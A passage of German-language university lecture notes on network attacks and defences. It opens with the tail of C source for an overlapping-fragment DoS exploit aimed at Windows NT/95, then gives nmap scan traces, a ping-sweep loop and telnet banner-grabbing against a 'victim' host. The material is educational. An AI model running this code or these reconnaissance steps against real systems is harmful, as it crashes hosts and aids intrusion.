        bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
    
        byte = 0x45;                        /* IP version and header length */
        memcpy(p_ptr, &byte, sizeof(u_char));
        p_ptr += 2;                         /* IP TOS (skipped) */
        *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(242);   /* IP id */
        p_ptr += 2;
        *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
        p_ptr += 2;
        *((u_short *)p_ptr) = 0x40;         /* IP TTL */
        byte = IPPROTO_UDP;
        memcpy(p_ptr + 1, &byte, sizeof(u_char));
        p_ptr += 4;                         /* IP checksum filled in by kernel */
        *((u_long *)p_ptr) = src_ip;        /* IP source address */
        p_ptr += 4;
        *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
        p_ptr += 4;
        *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */
    
        if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
                    sizeof(struct sockaddr)) == -1)
        {
            perror("\nsendto");
            free(packet);
            exit(1);
        }
    
        /*  We set the fragment offset to be inside of the previous packet's
         *  payload (it overlaps inside the previous packet) but do not include
         *  enough payload to cover complete the datagram.  Just the header will
         *  do, but to crash NT/95 machines, a bit larger of packet seems to work
         *  better.
         */
        p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
        *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
        p_ptr += 4;                 /* IP offset is 6 bytes into the header */
        *((u_short *)p_ptr) = FIX(MAGIC);
    
        if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
                    sizeof(struct sockaddr)) == -1)
        {
            perror("\nsendto");
            free(packet);
            exit(1);
        }
        free(packet);
    }
    
    u_long name_resolve(u_char *host_name)
    {
        struct in_addr addr;
        struct hostent *host_ent;
    
        if ((addr.s_addr = inet_addr(host_name)) == -1)
        {
            if (!(host_ent = gethostbyname(host_name))) return (0);
            bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
        }
        return (addr.s_addr);
    }
    
    void usage(u_char *name)
    {
        fprintf(stderr,
                "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
                name);
        exit(0);
    }
    

  • Ping Flooding
    Das Ping Flooding gehört zu Denial of Service-Attacks, die keine Sicherheitslöcher ausnutzen. Pings werden benutzt, um die Erreichbarkeit von anderen Hosts im Netz zu prüfen. Beim Ping Flooding wird ein Host jedoch mit unzähligen Ping-Anfragen bombadiert, die der Host dann natürlich alle bearbeitet (falls keine entsprechenden Mechanismen die Abarbeitung von rasch wiederholenden Ping-Anfragen verhindert) und entsprechend das eigene System und die Netzverbindung auslastet. Ping Flooding ist einer der Denial of Service-Attacken, die richtig teuer werden können: Wird eine Netzverbindung eines Hostes nämlich nach dem erzeugten Datenaufkommen abgerechnet, können teilweise horrende Summen entstehen.

  • Service-Overloading
    Einen ähnlichen Weg wie beim Message-Flooding gehen die Service-Overloading-Attacks. Allerdings werden hier gezielt Services angesprochen, die einen Großteil der Rechnerresourcen aufzehren können. Dabei ist hier nicht die Menge der Nachrichten ausschlaggebend, sondern es kann hier unter Umständen sogar eine einzige Nachricht genügen. Für einen solchen Angriff anfällig sind z. B. der finger-Dienst, der auf den meisten Rechnern zur Verfügung steht. Aber auch speziellere Dienste, wie etwa ein Datenbankserver, die nicht genügend gesichert sind, kommen als Angriffspunkte in Frage. Bei einem Datenbanksystem kann eine entsprechend formulierte Abfrage (etwa ein Join über mehrere Tabellen) die Systemresourcen bis an die Grenzen belasten.

  • Angriff mit UDP: Packet Storm
    UDP (User Datagram Protocol) ist nicht verbindungsorientiert und hat keine Flusskontrolle, man kann daher ein Netz mit Paketen überfluten. Mit Hilfe eines gefülschten UDP-Paketes kann man beispielsweise den "chargen"-Dienst (Generieren eines Zeichenstroms für Testzwecke) eines Rechners mit dem "echo"-Dienst (Alle empfangenen Zeichen zurückschicken) eines anderen Rechners verbinden. Man schickt dazu ein UDP Paket, bei dem als Absender der Port des "chargen"-Dienstes eingetragen ist, an den "echo"-Dienst (Spoofing). Der "chargen"-Rechner sendet nun kontinuerlich Zeichen, die ebenso kontinuierlich vom "echo"-Dienst beantwortet werden. Dadurch entsteht ein unglaublich hoher Packetverkehr, der Server und Netzwerk außer Gefecht setzt.

  • Distributed Denial-of-Service-Attacks (DDoS)
    Diese Art von Denial-of-Service-Attacken sind genau genommen keine eigenen Attackeverfahren, sondern beziehen sich auf den Angriffsweg. Im Gegensatz zu einer einfachen Denial-of-Service-Attacke werden Distributed Denial-of-Service-Attacken nicht nur über einen Angriffsrechner gefahren, sondern gleichzeitig im Verbund mit mehreren Rechnern. Zu diesem Zweck plaziert ein Angreifer ein sogenanntes Trojanisches Pferd auf verschiedenen Rechnern im Internet, vornehmlich auf Rechner, die per Standleitung und besonders breitbandig angebunden sind. Diese Plazierung kann auch schon Monate vor eigentlichen Angriffen erfolgen. Wird nun ein Angriff auf ein bestimmtes Opfer gestartet, erfolgen die Angriffe über die Rechner, auf denen das trojanische Pferd installiert ist, gleichzeitig und erzeugen in der Gesamtheit ein enormes Angriffsvolumen.

    Ein DDoS Angriff besteht aus zwei Phasen. In Phase 1 beschafft sich ein Angreifer mittels bekannter Schwachstellen Zugriff auf eine große Zahl von Systemen, die später den eigentlichen DDoS-Angriff ausführen sollen. Der Angreifer installiert dazu auf den "Angriffsrechnern" Programme, die zeitgesteuert oder auf Kommando den einen DoS-Angriff gegen das gewünschte Ziel führen.

    Beispiel: Tribe Flood Network:
    Das TFN bietet die Möglichkeit, SYN, UDP und ICMP Angriffe zu führen. Dazu stellt es eine Client-Server-Struktur bereit. Der Server wird auf einer Vielzahl von Systemen installiert und kann dann vom Client aktiviert werden, um einen Angriff zu starten. Da die Kommunikation mit dem Server nicht passwortgeschützt verläuft, kann jeder einem installierten Server einen Angriff befehlen. Dazu muß man lediglich wissen, auf welchen Rechnern der TFN-Server installiert ist. Dies lässt sich leicht mittels Port-Scan oder im Internet kursierenden Listen herausfinden. Die eigentliche Arbeit des Beschaffens von DDoS-Angriffsrechnern entfällt somit. Einen TFN-Angriff kann jeder führen, der im Besitz des Client ist.

    Die Bekämpfung von Distributed Denial-of-Service-Attacken ist extrem schwierig. Bei einem akuten Angriff kann der Administrator des angegriffenen Rechners lediglich die Datenflut von angreifenden Servern filtern, zum Beispiel über eine Firewall, um so wenigstens die Server zu schützen. Das Netz ist jedoch im Regelfalle trotzdem nicht erreichbar, da die Anbindung selbst überlastet wird. Das folgende Bild zeigt, wie ein DDoS-Angriff in der Verkehrsstatistik aussieht.

Hacker-Angriffe über Ports

Der erste Schritt eines Hackers, Portscans, verraten, welche Dienste auf einem Rechner aktiv sind und geben so Hinweise auf Angriffspunkte. Alle TCP/IP-Dienste benutzen Ports. Verbindungen werden stets zwischen einem Port auf dem Quellrechner und einem Port auf dem Zielrechner hergestellt. Der Ziel-Port identifiziert gleichzeitig die Art des Dienstes. Als "wellknown" Ports sind beispielsweise 80 für WWW, 21 für FTP und 23 für Telnet festgelegt. Portscanner durchsuchen einen oder mehrere Rechner nach erreichbaren Diensten. Je nach Zweck des Portscans werden sowohl bekannte als auch unbekannte Ports untersucht. Die Erkennung offener Ports bedeutet auch die Erkennung laufender Services. Weiterhin kann man mit Portscannern Firewall-Konfigurationen testen oder Betriebssysteme erkennen.
Es gibt sogar Methoden, einen Portscan durchzuführen, ohne die eigene IP-Adresse preisgeben zu müssen:
  • TCP Connect Scanning:
    Hierbei wird eine gewöhnliche TCP-Verbindung geöffnet. Dazu sind keine besonderen Vorkehrungen erforderlich. Die Systemfunktion liefert eine direkte Rückmeldung über Erfolg oder Fehlschlag des Versuchs. Das geht sogar von Hand. Einfach eine Telnet-Verbindung zum gewünschten Port aufmachen. Der TCP-Connect-Scan ist der einzige TCP-Scan, der keine root-Rechte benötigt. Zudem ist er sehr schnell. Er kann jedoch auch mit einfachen Methoden erkannt werden, da ein kompletter Verbindungsaufbau durchgef"uhrt wird und so die eigene IP-Adresse vom Gegenüber mitprotokolliert werden kann. Beispiel:
    nmap -P0 -sT -p 79, 80 localhost
    localhost -> localhost  TCP 3721 > finger [SYN] Seq=108672 Ack=0 Win=16384 Len=0 
    localhost -> localhost  TCP finger > 3721 [RST, ACK] Seq=0 Ack=108673 Win=0 Len=0 
    localhost -> localhost  TCP 3722 > http [SYN] Seq=231337 Ack=0 Win=16384 Len=0 
    localhost -> localhost  TCP http > 3722 [SYN, ACK] Seq=350423 Ack=231338 Win=57344 Len=0 
    localhost -> localhost  TCP 3722 > http [ACK] Seq=231338 Ack=350424 Win=57344 Len=0 
    localhost -> localhost  TCP 3722 > http [RST, ACK] Seq=231338 Ack=350424 Win=57344 Len=0
    
  • TCP SYN Scanning:
    Beim sogenannten "half open scan" wird nur das allererste Paket, ein SYN-Paket, geschickt. Anhand der Antwort (SYN/ACK oder RST) läßt sich bereits erkennen, ob der Port aktiv ist. Aktive Ports werden sofort wieder geschlossen (RST senden), so daß die Gegenstelle kaum eine Gelegenheit hat, die eigene IP-Adresse festzustellen. Beispiel:
    nmap -P0 -sS -p 79, 80 localhost
    localhost -> localhost    TCP 50529 > finger [SYN] Seq=6275 Ack=0 Win=2048 Len=0 
    localhost -> localhost    TCP finger > 50529 [RST, ACK] Seq=0 Ack=06276 Win=0 Len=0 
    localhost -> localhost    TCP 50529 > http [SYN] Seq=6275 Ack=0 Win=2048 Len=0 
    localhost -> localhost    TCP http > 50529 [SYN, ACK] Seq=564532 Ack=6276 Win=49152 Len=0 
    localhost -> localhost    TCP 50529 > http [RST] Seq=6276 Ack=0 Win=0 Len=0
    
  • TCP FIN Scanning:
    Hier wird ein FIN-Paket an das jeweilige Port geschickt. Das funktioniert teilweise sogar durch Firewalls hindurch. Bei den meisten Rechnern antworten inaktive Ports mit einem RST (Reset), während aktive Ports das FIN-Paket ignorieren. Windows hält sich allerdings nicht an diesen Standard, so daß hier FIN-Scans fehlschlagen. Beispiel:
    nmap -P0 -sF -p 79, 80 localhost
    localhost -> localhost    TCP 49452 > finger [FIN] Seq=0 Ack=0 Win=3072 Len=0
    localhost -> localhost    TCP finger > 49452 [RST, ACK] Seq=0 Ack=0 Win=0 Len=0
    localhost -> localhost    TCP 49452 > http [FIN] Seq=0 Ack=0 Win=3072 Len=0
    localhost -> localhost    TCP 49453 > http [FIN] Seq=0 Ack=0 Win=3072 Len=0
    
    Der XMAS-Scan ist eine Abwandlung des FIN-Scan. Zus"atzlich zum FIN sind die Flags PSH und URG gesetzt.

  • Ident-Scanning:
    Der Ident-Dienst liefert eine zusätzliche Informationsebene über aktive Ports, nämlich den Benutzernamen. Dieser ist für manche Angriffe wichtig, da er verrät, welche Zugriffsrechte der Server-Dienst auf dem jeweiligen Port besitzt.

  • FTP Bounce Port Scanning:
    Hier wird die eingebaute Proxy-Funktion von RFC-konformen FTP-Servern benutzt, um die eigene Identität zu verstecken.

  • UDP Port Scanning:
    Dies ist schwieriger, da vom Protokoll her keine Antwort auf UDP-Pakete vorgesehen ist. Viele Rechner liefern aber eine Rückmeldung mittels ICMP: Die Antwort 'ICMP Port unreachable' deutet dann auf inaktive Ports hin. Beispiel:
    nmap -P0 -sU -p 513, 514 localhost
    localhost -> localhost    WHO Source port: 33108  Destination port: who
    localhost -> localhost    ICMP Destination unreachable
    localhost -> localhost    UDP Source port: 33600  Destination port: syslog
    localhost -> localhost    UDP Source port: 33601  Destination port: syslog
    
    Der UDP-write/recvfrom-Scan ist ein UDP-ICMP-Scan, der vollkommen ohne root-Rechte durchgeführt werden kann. Die Schwierigkeit besteht darin, zu erkennen, dass "ICMP port unreachable" gesendet wurde. Der UDP-write-Scan basiert darauf, dass der Empfang des "ICMP port unreachable" durch das Fehlschlagen eines zweiten write-Aufrufs angezeigt wird. Die Grundlage des UDP-recvfrom-Scan ist, dass das Erhalten des "ICMP port unreachable" bei einem recvfrom-Aufruf auf einen NONBLOCKING-Socket durch das Setzen von ERRNO auf 111 (ECONNREFUSED) angezeigt wird.
  • ICMP Echo Scanning:
    Geht es lediglich darum, die Existenz fremder Rechner festzustellen, hilft ein automatisches ping (siehe unten).

Wie erkennt man einen Portscan?

  • In einer relativ kurzen Zeit wird eine größere Anzahl von Ports angesprochen.
  • Das zuerst an einen Port gesendete Paket ist charakteristisch für Stealth-Scans.
  • Ungewöhnlich hoher Anteil von ICMP-Port-Unreachable-Meldungen.
  • Generell: "ungewöhnliche" Netzwerkaktivität.
Aufspüren mit netzwerkbasierten Intrusion Detection Systemen, durch Monitoring von Logfiles, mit nmap, netstat, lsof, nessus. Zum Beispiel können mit Hilfe von netstat aktive Verbindungen aufgelistet werden:
$ netstat
Aktive Internetverbindungen (ohne Server)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 www.ee.fhm.edu:www-http otdial-212-144-110:1090 VERBUNDEN
tcp        0      0 www.ee.fhm.edu:www-http otdial-212-144-110:1088 VERBUNDEN
tcp        0      0 www.ee.fhm.edu:www-http otdial-212-144-110:1094 VERBUNDEN
tcp        0      0 www.ee.fhm.edu:www-http otdial-212-144-110:1092 VERBUNDEN
tcp        0      0 www.ee.fhm.edu:www-http 212.123.104.2:61892     VERBUNDEN
tcp        0      0 www.ee.fhm.edu:www-http 212.123.104.2:61893     VERBUNDEN
tcp        1  47784 www.ee.fhm.edu:www-http niven.antares.de:44742  CLOSE_WAIT
tcp        0   6343 www.ee.fhm.edu:www-http niven.antares.de:44744  FIN_WAIT1
...


$ lsof | grep -v root
COMMAND     PID  USER   FD   TYPE DEVICE    SIZE   NODE NAME
bash      22644 plate  cwd    DIR   8,17    2048   2049 /home/plate
bash      22644 plate  rtd    DIR    8,2    1024      2 /
bash      22644 plate  txt    REG    8,2  475348  57124 /bin/bash
bash      22644 plate  mem    REG    8,2  148968  63290 /lib/ld-2.0.7.so
bash      22644 plate  mem    REG    8,2  500910  63289 /lib/libncurses.so.4.2
bash      22644 plate  mem    REG    8,2   65006  63296 /lib/libdl.so.2
bash      22644 plate  mem    REG    8,2 2475225  63293 /lib/libc.so.6
bash      22644 plate  mem    REG    8,2  113110  63299 /lib/libnss_compat.so.1
bash      22644 plate  mem    REG    8,2  106544  63298 /lib/libnsl.so.1
bash      22644 plate  mem    REG    8,2  167648  63302 /lib/libnss_files.so.1
bash      22644 plate    0u   CHR    3,0           3493 /dev/ttyp0
bash      22644 plate    1u   CHR    3,0           3493 /dev/ttyp0
bash      22644 plate    2u   CHR    3,0           3493 /dev/ttyp0
bash      22644 plate  255u   CHR    3,0           3493 /dev/ttyp0
...

Es gibt zwei verschiedene Arten von Portscan-Erkennungsprogrammen:
  1. Der Portscan-Detector nistet sich auf bestimmten Ports ein und registriert Verbindungsversuche. Diese Methode benötigt keine root-Rechte und ist Ressourcen schonend.SIe ist jedoch durch Stealth-Scans einfach zu umgehen und das System stößt schnell an die Grenze der maximal offenen Dateien
  2. Der Portscan-Detector snifft den gesamten Netzwerkverkehr auf einem Device mit und registriert verdächtige Pakete. Dieses Verfahren ist schwer zu umgehen aber Ressourcen fressend.
Eine Umgehung des Erkennungsmechanismus ist trotzdem möglich, z. B. durch stark fragmentierte Pakete (selbst die Header sind fragmentiert) oder durch Umgehung des Loggingmechanismus mittels Log-Floodging (Massen-Scans). Bekannte Scan-Erkennungsprogramme sind "Scanlogd" (http://www.openwall.com/scanlogd/) "Snort-Portscan-Preprocessor" (http://www.snort.org/) oder "Portsentry" (http://www.psionic.com/abacus/portsentry/).

Security im Application Layer

Der Application Layer bietet viele Möglichkeiten für Angreifer in ein (geschütztes) Netzwerk einzudringen. Die Sicherheitsprobleme hier sind sehr vielfältig und von den einzelnen Applikationen abhängig. Oft lassen sich Sicherheitslücken auf Fehler in Konzeption und Implementation der Applikationen zurückführen. Allerdings kann auch eine falsche oder ungenügende Konfiguration einer Applikation einem Angreifer Tür und Tor öffnen. In diese Gruppe gehören Viren und Trojanische Pferde.

Auf dieser Ebene kann ein Angreifer auch versuchen, allgemeine Informationen über seine 'Opfer' einzuholen. Eine erst Möglichkeit ist das Abscannen eines Netzes auf 'aktive' IP-Adressen, d. h. IP-Adressen, unter denen ein Rechner ansprechbar ist. Dazu genügt das ping-Kommando. Ein kleines Shell-Skript erledigt die Arbeit in Sekunden (unter Solaris liefert ping als Default nur 'xxx is alive.' oder 'xxx unreachable.'. Gegebenenfalls ist ping mit geeigneten Parametern zu versehen):

for VICTIM in `seq 1 254`
do
  ping 192.168.1.$VICTIM
done
Jetzt kennt der Angreifer alle in Frage kommenden Opfer (auch wenn sie keinen Nameservereintrag besitzen). Die nächste Stufe könnte der Einsatz eines Portscannes sein. Oder man sucht mal nach Benutzern auf dem Rechner.

Das geht mit dem finger-Kommando. Das finger-Kommando erlaubt es, Informationen über Benutzer zu erlangen, weshalb es aus Gründen des Datenschutzes oft auch gesperrt wird. Mit dem Kommando 'finger user@host' kann man sich über einen bestimmten Benutzer informieren. Die Ausgabe sieht beispielsweise folgendermaßen aus:

    Login: plate Name: Juergen Plate
    Directory: /home/plate Shell: /bin/sh
    No unread mail.
    On since Sun Nov 20 19:36 (MET) on ttyp3
    No Plan.
Die Informationen werden einigen Standarddateien des Rechners entnommen.
Eine weitere Möglichkeit bietet das 'fingern' eines anderen Hostrechners. Man erhält dann Information darüber, welche Benutzer eingeloggt sind. Zusammen mit einer Nameserveranfrage erhält man dann schon eine Liste von Mailadressen für Spam und eine Liste von Usernamen zum Angriff auf die einzelnen Accounts.

Nun sehen wir auf den offenen Ports mal nach, welche Version die Server-Dienste haben. Ist der Administrator nachlässig, findet sich vielleicht Software, für die schon eine Sicherheitslücke veröffentlicht wurde. Mit viel Glück findet ein Scriptkiddie sogar noch ein "Exploit", ein Programm, das die Sicherheitslücke demonstriert.
Das Ausspähen der Server-Dienste erfolgt einfach per Telnet auf die entsprechenden Ports. Das folgende Beispiel zeigt eine Untersuchung der Ports 23 (Telnet), 25 (Mail), 21 (FTP) und 80 (HTTP). Die Eingabe sind fett wiedergegeben:

plate@multimedia:~ > telnet victim 23
Trying 141.39.253.196...
Connected to victim.
Escape character is '^]'.
Connection closed by foreign host.
Der Telnet-Port ist also offen.
plate@multimedia:~ > telnet victim 25
Trying 141.39.253.196...
Connected to victim.
Escape character is '^]'.
220 victim.e-technik.fh-muenchen.de ESMTP Sendmail 8.9.3/8.9.3; Mon, 
8 Jul 2002 08:01:14 +0200
quit
221 victim.e-technik.fh-muenchen.de closing connection
Connection closed by foreign host.
Auf dem Opfer läft also Sendmail, Version 8.9.3. Der ist nicht mehr ganz neu!
plate@multimedia:~ > telnet victim 21
Trying 141.39.253.196...
Connected to victim.
Escape character is '^]'.
220-     Youre welcome on the FTP - Server
220-     victim.e-technik.fh-muenchen.de
220-
220-     Please try 'ftp' for anonymous login
220-
220 victim.e-technik.fh-muenchen.de FTP server (Version wu-2.4.2-academ[BETA-18]
    (1) Sun Apr 4 23:07:17 /etc/localtime 1999) ready.
quit
221 Goodbye.
Connection closed by foreign host.
Das läuft der Wu-FTP-Server, Version 2.4.2, der auch nicht mehr ganz neu ist. Außerdem sollte man es mal mit anonymem FTP probieren.
plate@multimedia:~ > telnet victim 80
Trying 141.39.253.196...
Connected to victim.
Escape character is '^]'.
GET /index.html HTTP/1.0
accept: */*

HTTP/1.1 200 O.K.
Date: Mon, 08 Jul 2002 06:02:39 GMT
Server: mod_perl/1.18 Apache/1.3.4 (Unix)  (SuSE/Linux) PHP/3.0.7
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

...

Connection closed by foreign host.
Hier erfahren wir sehr viel. Der Apache-Server mit der Version 1.3.4 ist auch nicht der jüngste. Zudem wird uns mitgeteilt, daß es sich um das Betriebssystem Linux handelt (Distribution von SuSE). An den Versionsnummern des Perl- und PHP-Moduls könnte man sogar die Version der Distribution ermitteln. Wenn man jetzt weitere Ports abklappert (POP3, IMAP, Finger, usw.) und die CERT-Advisories durchsieht, findet man sicher etliche Angriffspunkte auf das System.

Der whois-Dienst liefert Informationen über Netzteilnehmer, sofern sich diese bei einem Whois-Server haben registrieren lassen. Das kann man über ein Formular, netinfo/user-template.txt auf nic.ddn.mil, machen, das dann an registar@nic.ddn.mil geschickt wird). Das Kommando lautet:

    whois Namensangabe
wenn der voreingestellte Server verwendet wird. Mit Serverangabe lautet das Kommando:
    whois -h Serverrechner Namensangabe
Man erhält dann alle Angaben aus der Datenbank, die zur Namensangabe passen. Als Namensangabe kann entweder ein Userpseudonym (Login-Name) oder der "echte" Name, eventuell als 'Nachname, Vorname', angegeben werden. Bei grafischen Benutzerschnittstellen erfolgt die Parameterangabe über Dialogfelder und nicht in der Kommandozeile. Als Whois-Server können Sie 'whois.nic.de' oder 'whois.internic.net' angeben.
Durch die Angabe 'do Rechnerdomain' können Infos über die entsprechende Domain eingeholt werden. Ebenso kann man sich mit 'host Rechnername' über einzelne Computer oder mit 'net Netzwerknummer' über Netze informieren.
Fehlt das Whois-Kommando, öffnet man eine Telnet-Verbindung zu nic.ddn.mil und gibt 'whois' nach dem Prompt ein. Auf den Prompt 'Whois:' hin kann man interaktive Anfragen absetzen (z. B. das 'help'-Kommando).

Über das Common Gateway Interface, also über CGI-Scripts, können Attacken gestartet werden. Normalerweise erlaubt ein CGI-Script dem Benutzer einer Website, interaktive Prozesse vom Browser auszulösen, z. B. auf eine Datenbank zuzugreifen oder ein Formular vom Server auswerten zu lassen. Die Sicherheitslücken bei CGI-Programmen entstehen durch Fehlkonfiguration der Serversoftware und durch Fehler im Script selbst. Dazu ist es nicht notwendig, daß das Script von Haus aus dazu angelegt ist Schaden anzurichten. Oft reicht eine fehlende Sicherheitsabfrage, die unabsichtlich oder aus Bequemlichkeit nicht eingebaut wurde. Deshalb sollten bei CGI-Programmen grundsätzlich alle Eingaben als "böse" betrachtet werden. Zu bedenken ist auch, daß der Angreifer nicht unbedingt das entworfene Formular ausfüllen muß. Er kann seine Eingaben für das CGI-Programm auch direkt in der URL-Zeile des Browsers tätigen.
Ein weiterer Angriffspunkt ist die die Speicherung unerwünschter Daten auf dem Server. Dazu ein Beispiel: Viele Webseiten bieten Gästebücher an, in die jeder etwas eintragen kann. Der Hacker trägt neben "normalem" Text auch HTML-Code, z. B. eine URL, ein Javascript-Programm oder eine Referenz auf ein Active-X-Control ein. Leser des Gästebuches erleiden durch diese Teile der Seite Schaden - oder werden auch nur beleidigt. Es gab den Fall, daß irgendwelche "Spaßvögel" im Gästebuch von McDonalds Links auf Porno-Sites hinterlassen haben.
Um auch bei Fehlern in den Skripts möglichst wenig Angriffsfläche zu bieten, darf der WWW-Server nur unter einer Benutzerkennung mit möglichst wenig Rechten laufen (z. B. "nobody"). Auch die CGI-Programme dürfen nur unter geringen Rechten laufen, niemals als Root-Programme. Alle CGI-Scripte gehören in ein spezielles Verzeichnis, etwa "serverhost/cgi-bin", in das nichts anderes kommt.

Auf Gefahren, die speziell die Anwenderseite betreffen, wird in Kapitel 7 eingegangen.

Überblick Bedrohungen/Gegenmaßnahmen

 BedrohungAngriffMaßnahme
ICMP Eindringen, Denial-of-Service Redirect, TTL-Exceeded, Destination Unreachable, Ping-of-Death Authentisierung, Filtern, auf Router abweisen, Overflow abfangen
TCP Eindringen, Maskerade, Denial-of-Service Hijacking, Asynchrone State, IP-Spoofing, SYN-Flooding Übernahme privilegierter Rechte verhindern, Überwachung, Verschlüsselung, Authentisierung,Signatur, IP-Spoofing verhindern
UDP Eindringen, Maskerade, Denial-of-Service UDP-Spoofing, Flooding, echo, Ausnutzen privilegierter Ports Schutz auf Applikationsebene, chargen und echo filtern, Antworten auf echo filtern, Portnummern kleiner 1024 filtern
DNS Maskerade, Denial-of-Service IP-Spoofing, Sniffing, Penetration des DNS-Caches Splitten der DNS-Server, Inverse DNS-Anfragen filtern, IP-Spoofing verhindern
ARP Maskerade, Umleiten Fälschen von ARP-Antworten ARP-Tabellen fixieren, ARP-Request auf Firewalls abblocken
RIP Maskerade, Umleiten Loose-Source-Routing, RIP-Spoofing Filtern von Loose-Source-Routing-Paketen, Statisches Routen
SNMP Maskerade, Eindringen Abhören der Community-Strings Filtern, Verschlüsselung, nicht über Firewall zulassen
NIS/NIS+ Maskerade, Eindringen Umleiten, Dateidiebstahl, Brute-Force-Attacke Filtern, starke Authentisierung nicht über Firewall zulassen
FTP Maskerade, Eindringen, Manipulation, Informationsdiebstahl FTP-Hijacking, cwd, cdup, retr, stor, dele, list, nlist, site, syst, port Anonymous FTP Filtern, Rechteverwaltung, port durch pasv ersetzen, Zugriff nur auf ausgewählte Daten erlauben

Zum vorhergehenden Abschnitt Zum Inhaltsverzeichnis Zum nächsten Abschnitt


Copyright © FH München, FB 04, Prof. Jürgen Plate
Letzte Aktualisierung: 23. Jun 2005